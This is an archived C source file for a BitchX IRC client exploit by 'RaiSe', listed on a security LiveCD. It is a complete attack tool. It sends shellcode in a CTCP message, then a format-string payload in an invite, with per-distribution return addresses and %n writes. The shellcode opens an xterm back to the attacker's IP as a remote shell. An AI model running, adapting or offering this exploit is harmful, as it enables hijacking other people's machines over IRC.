home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / irc / bitchx / xp-bitchx.c < prev   
C/C++ Source or Header  |  2005-02-12  |  10KB  |  439 lines

  1. /*
  2.  *  BitchX Xploit by RaiSe
  3.  *  Tested with version 1.0c16(+) in:        redhat 6.0 (2.2.16)
  4.  *                                           redhat 7.0 (2.2.16)
  5.  *                                           debian 2.2 (2.2.16)
  6.  *
  7.  *  NetSearch Ezine Staff
  8.  *  http://www.netsearch-ezine.com
  9.  *
  10.  */
  11.  
  12.  
  13. #include <stdio.h>
  14. #include <stdlib.h>
  15. #include <sys/types.h>
  16. #include <sys/socket.h>
  17. #include <netinet/in.h>
  18. #include <string.h>
  19. #include <unistd.h>
  20. #include <arpa/inet.h>
  21. #include <netdb.h>
  22.  
  23. #define PORT 6667
  24.  
  25. int soc_local,snick;
  26. struct sockaddr_in addr_local;
  27. struct hostent *server;
  28. char buf[1024], cmd[512], formatbuf[1024], ip[64], *p;
  29.  
  30. int irc(char *n,char *s,char *sc);
  31. int format(int v);
  32.  
  33. static char shellcode[256] =    // by RaiSe
  34. "\xeb\x5b\x5e\x31\xc0\xb0\x02\x31\xdb\xcd\x80\x39\xc3\x75\x47\x31"
  35. "\xd2\x88\x56\x14\x88\x56\x18\x88\x56\x21\xb2\x2b\x31\xc9\xb1\x09"
  36. "\x80\x3c\x32\x4b\x74\x05\x42\xe2\xf7\xeb\x2b\x88\x34\x32\x31\xd2"
  37. "\x89\xf3\x89\x76\x36\x8d\x7e\x15\x89\x7e\x3a\x8d\x7e\x19\x89\x7e"
  38. "\x3e\x8d\x7e\x22\x89\x7e\x42\x89\x56\x46\x8d\x4e\x36\x8d\x56\x46"
  39. "\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xa0\xff"
  40. "\xff\xff/usr/X11R6/bin/xterm8-ut8-display8";
  41.  
  42. char nops4[] = "\x90\x90\x90\x90";
  43.  
  44.  
  45. // main()
  46. int main(int argc, char *argv[])
  47. {
  48.  
  49.         if (argc!=5)
  50.         {       
  51.                 printf("\nBitchX Xploit by RaiSe\n");
  52.                 printf("http://www.netsearch-ezine.com\n");
  53.                 printf("\nuse: %s nick irc-server my-ip dist\n",argv[0]);
  54.                 printf("\ndist = 1 --> redhat 6.0\n"
  55.                                 "dist = 2 --> redhat 7.0\n"
  56.                                 "dist = 3 --> debian 2.2\n\n");
  57.                 exit(0);
  58.         }
  59.  
  60.         sprintf(ip,"%s:0K",argv[3]);
  61.         strcat(shellcode,ip);
  62.  
  63.         printf("\nBitchX Xploit by RaiSe\n");
  64.         printf("http://www.netsearch-ezine.com\n");
  65.         puts("\ndoing it..");
  66.  
  67.         snick=strlen(argv[1]);
  68.         format(atoi(argv[4]));
  69.         irc (argv[1],argv[2],formatbuf);
  70.         printf("finished\n\n");
  71.  
  72.         return(0);
  73.  
  74. } // end main()
  75.  
  76. // irc()
  77. int irc(char *n,char *s,char *sc)
  78. {
  79.  
  80.         if ((server = gethostbyname(s)) == 0) 
  81.         {
  82.                 printf("error al resolver el host\n");
  83.                 exit(0);
  84.         }
  85.  
  86.         if ((soc_local=socket(AF_INET,SOCK_STREAM,0)) == -1)
  87.         {
  88.                 printf("error al crear el socket\n");
  89.                 exit(0);
  90.         }
  91.  
  92.         bzero((char *) &addr_local, sizeof(addr_local));
  93.  
  94.         addr_local.sin_family = AF_INET;
  95.         addr_local.sin_port = htons(PORT);
  96.         memcpy(&addr_local.sin_addr, server->h_addr, server->h_length);
  97.  
  98.         if ((connect(soc_local,(struct sockaddr *) &addr_local,sizeof(addr_local)))
  99.                         == -1)
  100.         {
  101.                 printf("error al conectar con el servidor\n");
  102.                 exit(0);
  103.         }
  104.  
  105.         p=buf;
  106.  
  107.         // user
  108.         sprintf(cmd,"user k k k k\n");
  109.         write(soc_local,cmd,strlen(cmd));
  110.  
  111.         // nick
  112.         sprintf(cmd,"nick rxkfe\n");
  113.         write(soc_local,cmd,strlen(cmd));
  114.  
  115.         // pong
  116.         while(1)
  117.         {
  118.                 read(soc_local,p,1);
  119.                 if ((*p=='\n') && (strstr(buf,"PING :")))
  120.                 {
  121.                         p = (strstr(buf,"PING :")) + strlen("PING :");
  122.                         sprintf(cmd,"PONG %s",p);
  123.                         write(soc_local,cmd,strlen(cmd));
  124.                         break;
  125.                 }
  126.                 if (*p=='\n')
  127.                         p=buf;
  128.                 p++;
  129.         } 
  130.  
  131.         // ctcp
  132.         sprintf(cmd,"privmsg %s :\x01%s%s%s%s%s%s\x01\n"
  133.                         ,n,nops4,nops4,nops4,nops4,nops4,shellcode);
  134.  
  135.         write(soc_local,cmd,strlen(cmd));
  136.  
  137.         sleep(2);
  138.  
  139.         // invite
  140.         sprintf(cmd,"invite %s #%s\n",n,sc);
  141.         write(soc_local,cmd,strlen(cmd));
  142.  
  143.         sleep(2);
  144.         return(0);
  145.  
  146. } // end irc()
  147.  
  148. // format()
  149. int format(int v)
  150. {
  151.  
  152.         if ((v!=1) && (v!=2) && (v!=3))
  153.         {
  154.                 printf("\ndist = 1 --> redhat 6.0\n"
  155.                        "dist = 2 --> redhat 7.0\n"
  156.                        "dist = 3 --> debian 2.2\n\n");
  157.                 printf("exiting..\n\n");
  158.                 exit(0);
  159.         }
  160.  
  161.  
  162. if (v==1)
  163. {
  164. int n, nr, a1, nx, nn = 0x150;
  165. char dire[4][8] = { "\x60","\x61","\x62","\x63" };
  166. int a2 = 0x1b5 - 0xdb;
  167. int a3 = 0xff - 0xb5;
  168. int a4 = 0x1bf - 0xff;
  169. char xx[1024], nops[256];
  170.  
  171. switch(snick)
  172. {
  173. case 1:
  174.         sprintf(nops,"\x90%s",nops4);
  175.         nx = 126;
  176.         nr = 0x6;
  177.         break;
  178. case 2:
  179.         sprintf(nops,"%s",nops4);
  180.         nx = 126;
  181.         nr = 0x5;
  182.         break;
  183. case 3:
  184.         sprintf(nops,"\x90\x90\x90");
  185.         nx = 126;
  186.         nr = 0x4;
  187.         break;
  188. case 4:
  189.         sprintf(nops,"\x90\x90");
  190.         nx = 126;
  191.         nr = 0x3;
  192.         break;
  193. case 5:
  194.         sprintf(nops,"\x90");
  195.         nx = 126;
  196.         nr = 0x2;
  197.         break;
  198. case 6:
  199.         sprintf(nops,"%s",nops4);
  200.         nx = 129;
  201.         nr = 0x5;
  202.         nn = 0x158;
  203.         break;
  204. case 7:
  205.         sprintf(nops,"\x90\x90\x90");
  206.         nx = 129;
  207.         nr = 0x4;
  208.         nn = 0x158;
  209.         break;
  210. case 8:
  211.         sprintf(nops,"\x90\x90");
  212.         nx = 129;
  213.         nr = 0x3;
  214.         nn = 0x158;
  215.         break;
  216. case 9:
  217.         sprintf(nops,"\x90");
  218.         nx = 129;
  219.         nr = 0x2;
  220.         nn = 0x158;
  221. }
  222.  
  223. a1 = 0x10db - nn - 0x10 - 0xc - nr;
  224.  
  225.   for (n = 0; n < nx ; n += 3)
  226.     strcpy(&xx[n], "%8x");
  227.  
  228.   sprintf(formatbuf,
  229.          "%s"
  230.          "%s\xea\xff\xbf"
  231.          "%s"
  232.          "%s\xea\xff\xbf"
  233.          "%s"
  234.          "%s\xea\xff\xbf"
  235.          "%s"
  236.          "%s\xea\xff\xbf"
  237.          "%s"
  238.          "%%%dx%%n"
  239.          "%%%dx%%n"
  240.          "%%%dx%%n"
  241.          "%%%dx%%n"
  242.          ,nops,dire[0],nops4,dire[1],nops4,dire[2],
  243.          nops4,dire[3],xx,a1,a2,a3,a4);
  244. }
  245.  
  246. if (v==2)
  247. {
  248. int n, nr, a1, nx, nn = 0x138;
  249. char dire[4][8] = { "\xbc","\xbd","\xbe","\xbf" };
  250. int a2 = 0x1b2 - 0xc1;
  251. int a3 = 0xff - 0xb2;
  252. int a4 = 0x1bf - 0xff;
  253. char xx[1024], nops[256];
  254.  
  255. switch(snick)
  256. {
  257. case 1:
  258.         sprintf(nops,"\x90%s",nops4);
  259.         nx = 117;
  260.         nr = 0x6;
  261.         strcpy(dire[0],"\xbc");
  262.         strcpy(dire[1],"\xbd");
  263.         strcpy(dire[2],"\xbe");
  264.         strcpy(dire[3],"\xbf");
  265.         break;
  266. case 2:
  267.         sprintf(nops,"%s",nops4);
  268.         nx = 117;
  269.         nr = 0x5;
  270.         strcpy(dire[0],"\xbc");
  271.         strcpy(dire[1],"\xbd");
  272.         strcpy(dire[2],"\xbe");
  273.         strcpy(dire[3],"\xbf");
  274.         break;
  275. case 3:
  276.         sprintf(nops,"\x90\x90\x90");
  277.         nx = 117;
  278.         nr = 0x4;
  279.         strcpy(dire[0],"\xbc");
  280.         strcpy(dire[1],"\xbd");
  281.         strcpy(dire[2],"\xbe");
  282.         strcpy(dire[3],"\xbf");
  283.         break;
  284. case 4:
  285.         sprintf(nops,"\x90\x90");
  286.         nx = 117;
  287.         nr = 0x3;
  288.         strcpy(dire[0],"\xbc");
  289.         strcpy(dire[1],"\xbd");
  290.         strcpy(dire[2],"\xbe");
  291.         strcpy(dire[3],"\xbf");
  292.         break;
  293. case 5:
  294.         sprintf(nops,"\x90");
  295.         nx = 117;
  296.         nr = 0x2;
  297.         break;
  298. case 6:
  299.         sprintf(nops,"%s",nops4);
  300.         nx = 120;
  301.         nr = 0x5;
  302.         nn = 0x140;
  303.         break;
  304. case 7:
  305.         sprintf(nops,"\x90\x90\x90");
  306.         nx = 120;
  307.         nr = 0x4;
  308.         nn = 0x140;
  309.         break;
  310. case 8:
  311.         sprintf(nops,"\x90\x90");
  312.         nx = 120;
  313.         nr = 0x3;
  314.         nn = 0x140;
  315.         break;
  316. case 9:
  317.         sprintf(nops,"\x90");
  318.         nx = 120;
  319.         nr = 0x2;
  320.         nn = 0x140;
  321. }
  322.  
  323. a1 = 0x10c1 - nn - 0x10 - 0xc - nr;
  324.  
  325.   for (n = 0; n < nx ; n += 3)
  326.     strcpy(&xx[n], "%8x");
  327.  
  328.   sprintf(formatbuf,
  329.          "%s"
  330.          "%s\xe7\xff\xbf"
  331.          "%s"
  332.          "%s\xe7\xff\xbf"
  333.          "%s"
  334.          "%s\xe7\xff\xbf"
  335.          "%s"
  336.          "%s\xe7\xff\xbf"
  337.          "%s"
  338.          "%%%dx%%n"
  339.          "%%%dx%%n"
  340.          "%%%dx%%n"
  341.          "%%%dx%%n"
  342.          ,nops,dire[0],nops4,dire[1],nops4,dire[2],
  343.          nops4,dire[3],xx,a1,a2,a3,a4);
  344. }
  345.  
  346. if (v==3)
  347. {
  348. int n, nr, a1, nx, nn = 0x180;
  349. char dire[4][8] = { "\x80","\x81","\x82","\x83" };
  350. int a2 = 0x1b3 - 0xa4;
  351. int a3 = 0xff - 0xb3;
  352. int a4 = 0x1bf - 0xff;
  353. char xx[1024], nops[256];
  354.  
  355. switch(snick)
  356. {
  357. case 1:
  358.         sprintf(nops,"\x90%s",nops4);
  359.         nx = 144;
  360.         nr = 0x6;
  361.         break;
  362. case 2:
  363.         sprintf(nops,"%s",nops4);
  364.         nx = 144;
  365.         nr = 0x5;
  366.         break;
  367. case 3:
  368.         sprintf(nops,"\x90\x90\x90");
  369.         nx = 144;
  370.         nr = 0x4;
  371.         break;
  372. case 4:
  373.         sprintf(nops,"\x90\x90");
  374.         nx = 144;
  375.         nr = 0x3;
  376.         break;
  377. case 5:
  378.         sprintf(nops,"\x90");
  379.         nx = 144;
  380.         nr = 0x2;
  381.         break;
  382. case 6:
  383.         sprintf(nops,"%s",nops4);
  384.         nx = 147;
  385.         nr = 0x5;
  386.         nn = 0x188;
  387.         break;
  388. case 7:
  389.         sprintf(nops,"\x90\x90\x90");
  390.         nx = 147;
  391.         nr = 0x4;
  392.         nn = 0x188;
  393.         break;
  394. case 8:
  395.         sprintf(nops,"\x90\x90");
  396.         nx = 147;
  397.         nr = 0x3;
  398.         nn = 0x188;
  399.         break;
  400. case 9:
  401.         sprintf(nops,"\x90");
  402.         nx = 147;
  403.         nr = 0x2;
  404.         nn = 0x188;
  405.         strcpy(dire[0],"\x70");
  406.         strcpy(dire[1],"\x71");
  407.         strcpy(dire[2],"\x72");
  408.         strcpy(dire[3],"\x73");
  409. }
  410.  
  411. a1 = 0x10a4 - nn - 0x10 - 0xc - nr;
  412.  
  413.   for (n = 0; n < nx ; n += 3)
  414.     strcpy(&xx[n], "%8x");
  415.  
  416.   sprintf(formatbuf,
  417.          "%s"
  418.          "%s\xe8\xff\xbf"
  419.          "%s"
  420.          "%s\xe8\xff\xbf"
  421.          "%s"
  422.          "%s\xe8\xff\xbf"
  423.          "%s"
  424.          "%s\xe8\xff\xbf"
  425.          "%s"
  426.          "%%%dx%%n"
  427.          "%%%dx%%n"
  428.          "%%%dx%%n"
  429.          "%%%dx%%n"
  430.          ,nops,dire[0],nops4,dire[1],nops4,dire[2],
  431.          nops4,dire[3],xx,a1,a2,a3,a4);
  432. }
  433.  
  434. return(0);
  435.  
  436. } // end format()
  437.  
  438. // 0x00
  439.